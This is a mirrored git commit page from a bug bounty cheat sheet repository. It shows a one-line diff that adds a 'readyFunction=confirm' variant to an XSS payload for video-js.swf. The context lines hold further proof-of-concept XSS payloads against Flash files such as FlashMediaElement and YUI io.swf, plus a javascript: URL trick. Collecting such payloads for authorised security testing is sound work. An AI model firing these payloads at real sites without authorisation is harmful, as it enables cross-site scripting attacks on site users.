mirror of
https://github.com/EdOverflow/bugbounty-cheatsheet.git
synced 2024-11-24 20:13:06 +00:00
[XSS] add video-js example variant
This commit is contained in:
parent
b874b1a5c5
commit
b8f3aa96e3
1 changed files with 1 additions and 1 deletions
|
@ -120,7 +120,7 @@ javas	cript://www.google.com/%0Aalert(1)
|
|||
|
||||
- FlashMediaElement: <code>flashmediaelement.swf?jsinitfunctio%gn=alert`1`</code>
|
||||
|
||||
- videoJS: `video-js.swf?readyFunction=alert%28document.domain%2b'%20XSS'%29`
|
||||
- videoJS: `video-js.swf?readyFunction=confirm` and `video-js.swf?readyFunction=alert%28document.domain%2b'%20XSS'%29`
|
||||
|
||||
- YUI "io.swf": `io.swf?yid=\"));}catch(e){alert(document.domain);}//`
|
||||
|
||||
|
|
Loading…
Reference in a new issue